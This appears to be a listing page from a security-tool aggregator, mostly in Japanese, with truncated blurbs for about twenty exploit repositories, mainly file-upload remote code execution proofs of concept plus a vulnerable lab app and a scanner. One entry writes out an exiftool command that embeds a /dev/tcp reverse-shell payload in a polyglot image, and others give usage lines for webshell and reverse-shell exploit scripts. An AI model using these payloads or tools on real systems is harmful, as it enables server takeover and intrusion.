cve-2020-0688-webshell-upload-technique

Exchange リモートコード実行 cve-2020-0688 - レッドチーム モード ON 必須: python3+ ユニバーサル cve-2020-0688 の Python 実装。ASPX ウェブシェルを利用してカスタムコマンド出力を行います。 これは、セキュリティ上の理由から脆弱性のデモを容易にするための単なる POC です。 私はすべての違法行為を否認します。また、このスクリプトが行ういかなる行為についても責任を負いません。...

ninjasworkout

취약한 NodeJS 애플리케이션 빠른 시작 root@kitploit: Download the Repo = run npm i 모든 의존성을 설치한 후 다음을 실행하세요 root@kitploit: node app.js or nodemon app.js 추가된 취약점 프로토타입 오염 ✅1 NoSQL 인젝션 ✅2 크로스 사이트 스크립팅 ✅3 취약한 접근 제어 ✅4 취약한 세션 관리 ✅5 취약한 정규 표현식 구현 ✅ 6 경쟁 조건 ✅7 CSRF - 교차 사이트 요청 위조 ✅8 취약한 무차별 대입 공격 방어 ✅9 사용자 열거 ✅10...

ninjasworkout

Damn Vulnerable NodeJS Application Quick Start root@kitploit: Download the Repo = run npm i Afer Installing all dependency just run the application root@kitploit: node app.js or nodemon app.js ADDED BUGS Prototype Pollution ✅1 No SQL Injection ✅2 Cross site Scripting ✅3 Broken Access Control ✅4...

Magento-ver.-2.4.6

エクスプロイトタイトル: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection 日付: 2023-11-17 エクスプロイト作者: tmrswrr ベンダーホームページ: FireBear Studio ソフトウェアリンク: FireBear Studio Improved Import & Export バージョン: FireBear Improved Import & Export ver. 3.8.6 PoC 1...

CVE-2024-0757-Exploit

CVE-2024-0757 エクスプロイト 説明 WordPress用プラグイン「Insert or Embed Articulate Content into WordPress」は、すべてのバージョン（4.3000000023 までを含む）において、zip アーカイブ内の安全でないファイルアップロードにより、任意のファイルアップロードが可能となる脆弱性があります。これにより、認証されていない攻撃者が影響を受けるサイトのサーバー上に phar ファイルを含む zip ファイルをアップロードできるようになり、リモートコード実行が可能になる可能性があります。 !IMPORTANT CVSS...

CVE-2024-25641

Cacti CVE-2024-25641 認証済みパッケージアップロードRCE 概念実証 PoC このスクリプトは、Webベースの監視ツールであるCactiにおけるCVE-2024-25641脆弱性を悪用するための概念実証（PoC）です。スクリプトは、アプリケーションへの認証、悪意のあるパッケージのアップロード、リバースシェルの起動を自動化します。 必要条件 Python 3.x requests ライブラリ argparse ライブラリ re ライブラリ 必要なPythonライブラリはpip3を使用してインストールできます： root@kitploit: pip3 install...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit これは、Chamilo-LMS の大容量ファイルアップロード機能における無制限ファイルアップロード（Unrestricted file upload）脆弱性のエクスプロイトです。対象箇所は /main/inc/lib/javascript/bigupload/inc/bigUpload.php で、影響を受けるバージョンは Chamilo LMS = v1.11.24 です。攻撃者はWebシェルをアップロードすることでリモートコード実行を取得でき、さらに...

CVE-2023-41425

CVE-2023-41425 説明 Wonder CMS バージョン3.2.0から3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードされた細工されたスクリプトを介して任意のコードを実行できる可能性があります。 これはprodigiousMindによるオリジナルのエクスプロイトの修正版であり、外部インターネット接続に依存せずにエクスプロイト全体をローカルで提供できるように拡張されています。 もしあなたが途方に暮れていて、自転車に問題を見つけた場合に便利です... 注:...

CVE-2023-24610

CVE-2023-24610 これはCVE-2023-24610の概念実証（PoC）です まず、exiftoolを使ってポリグロットファイルを作成します: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php ファイルをPNGに変更して、フロントエンドのチェックを通過できるようにします その後、ポート8888でncリスナーを起動し、シェルを受信します。 次のステップとして、アプリケーションにログインし、setupをクリックします...

CVE-2024-25292

RenderTune RCE CVE-2024-25292 脆弱性の Proof-of-Concept です。 RenderTune v1.1.4 のクロスサイトスクリプティング（XSS）脆弱性により、攻撃者は Upload Title パラメータに仕込んだ巧妙なペイロードを介して、任意の Web スクリプトまたは HTML を実行できます。 このリポジトリには、脆弱なサンプルアプリケーションと、その Proof-of-Concept（POC）エクスプロイトが含まれています。 PoC として、プロセスを自動化する Python ファイルがあります。 1. 脆弱性の概要: XSS を介して...

CVE-2022-28219

CVE-2022-28219 ManageEngine ADAudit Plus ビルド 7060 に影響する CVE-2022-28219 の POC 技術分析 詳細は当社ブログをご覧ください: https://www.horizon3.ai/red-team-blog-cve-2022-28219 使用方法 root@kitploit: % python3 CVE-2022-28219.py -h usage: CVE-2022-28219.py -h -t TARGET -l LHOST -d DOMAIN -lhp HTTPPORT -lfp FTPPORT -f FILE -c...

spring-core-rce

Spring Core RCE/CVE-2022-22965 影響範囲：JDK=9 のSpringフレームワークおよび派生フレームワーク 記事リンク スクリプトは学習目的のみで使用し、他の目的で使用した場合の法的責任は一切著者にはありません 1.インストール root@kitploit: pip3 install -r requirements.txt 2.使い方 root@kitploit: $ python3 spring-core-rce.py -h .----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - チャンクアップロードのInit/Finalize順序に起因する未認証の任意ファイル書き込み CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — チャンクアップロードによる未認証の任意ファイル書き込み 概念実証（PoC）エクスプロイト チャンクアップロードのInit/Finalize順序 → 予測可能なパス公開 → リモートコード実行 脆弱性の概要 項目| 詳細 ---|--- CVE ID| CVE-2026-10818 影響を受けるプラグイン| WPForms Pro...

CVE-2023-4220-Chamilo-LMS

Chamilo LMS 인증되지 않은 대용량 업로드 파일 RCE PoC 이 스크립트는 CVE-2023-4220 에 설명된 Chamilo's LMS 소프트웨어 보안 결함을 악용할 수 있게 합니다. 해당 시스템은 1.11.24 이전 버전에서 취약합니다. 사용법 저장소를 로컬 머신에 클론하고 pip 를 사용하여 의존성을 설치하세요 이러한 설치를 전역 설치와 분리하기 위해 virtualenv 를 사용하여 환경을 생성하는 것이 좋습니다 root@kitploit: git clone...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE Overview CVE-2026-57827 is a critical-severity CVSS 9.8 unauthenticated arbitrary file upload vulnerability in RSFiles! comrsfiles, a widely...

CVE-2025-53770-Scanner

CVE-2025-53770 スキャナー DanSec による CVE-2025-53770 の重要な SharePoint 脆弱性への潜在的な露出を特定するための、シンプルで効果的な偵察ツール。 !Warning このツールは、許可されたテスト目的のみに使用されることを意図しています。 作者（DanSec）は、無許可のスキャンや使用によって引き起こされる誤用や損害について一切責任を負いません。このツールを使用する前に、スキャン対象のドメインまたはサービスに対する明示的な許可を得てください。 CVE-2025-53770 について CVE-2025-53770（"ToolShell"）...

CVE-2017-12615

In memory of Chia Junyuan https://packetstormsecurity.com/files/author/11924/ POC CVE-2017-12615 Windows上で動作するApache Tomcat 7.0.0から7.0.79を対象としたPOCエクスプロイトです。CVE-2017-12615 PUT JSP脆弱性。 説明: 設計上、Apache TomcatサーバーではPUTメソッドによるJSPファイルのアップロードは許可されていません。...

CVE-2021-40870

CVE-2021-40870 Aviatrix の危険なタイプのファイルの無制限アップロードにより、認証済みユーザーが任意のコードを実行できます。 https://attackerkb.com/assessments/970a9fa9-223d-4d07-bafa-a338147934f3...

SonLogger-vulns

CVE-2021-27964 | SonLogger - 認証なし任意ファイルアップロード Metasploit 日付: 30-01-2021 エクスプロイト作者: Berkan Er [email protected] ベンダーホームページ: https://www.sonlogger.com/ ソフトウェアリンク: https://www.sonlogger.com/download バージョン: 4.2.3.3 テスト済み: Windows 10 Enterprise x64 CVE: 2021-27964 公開日: 01-03-2021...

CVE-2024-47051

概要 アップロードされたファイルの内容、タイプ、拡張子のサニタイゼーションが不十分なため、Asset Edition 機能では、認証された攻撃者が Web ディレクトリ内に任意の PHP コードを書き込み、そのファイルが書き込まれた場所を特定することができます。これにより、リモートコード実行（RCE: Remote Code Execution）が発生します。 また、パストラバーサルを利用して、Web ユーザーが変更権限を持つファイルシステム上の任意のディレクトリを再帰的に削除することも可能です。 詳細 - RCE /assets/view/assetID ルート経由で Asset...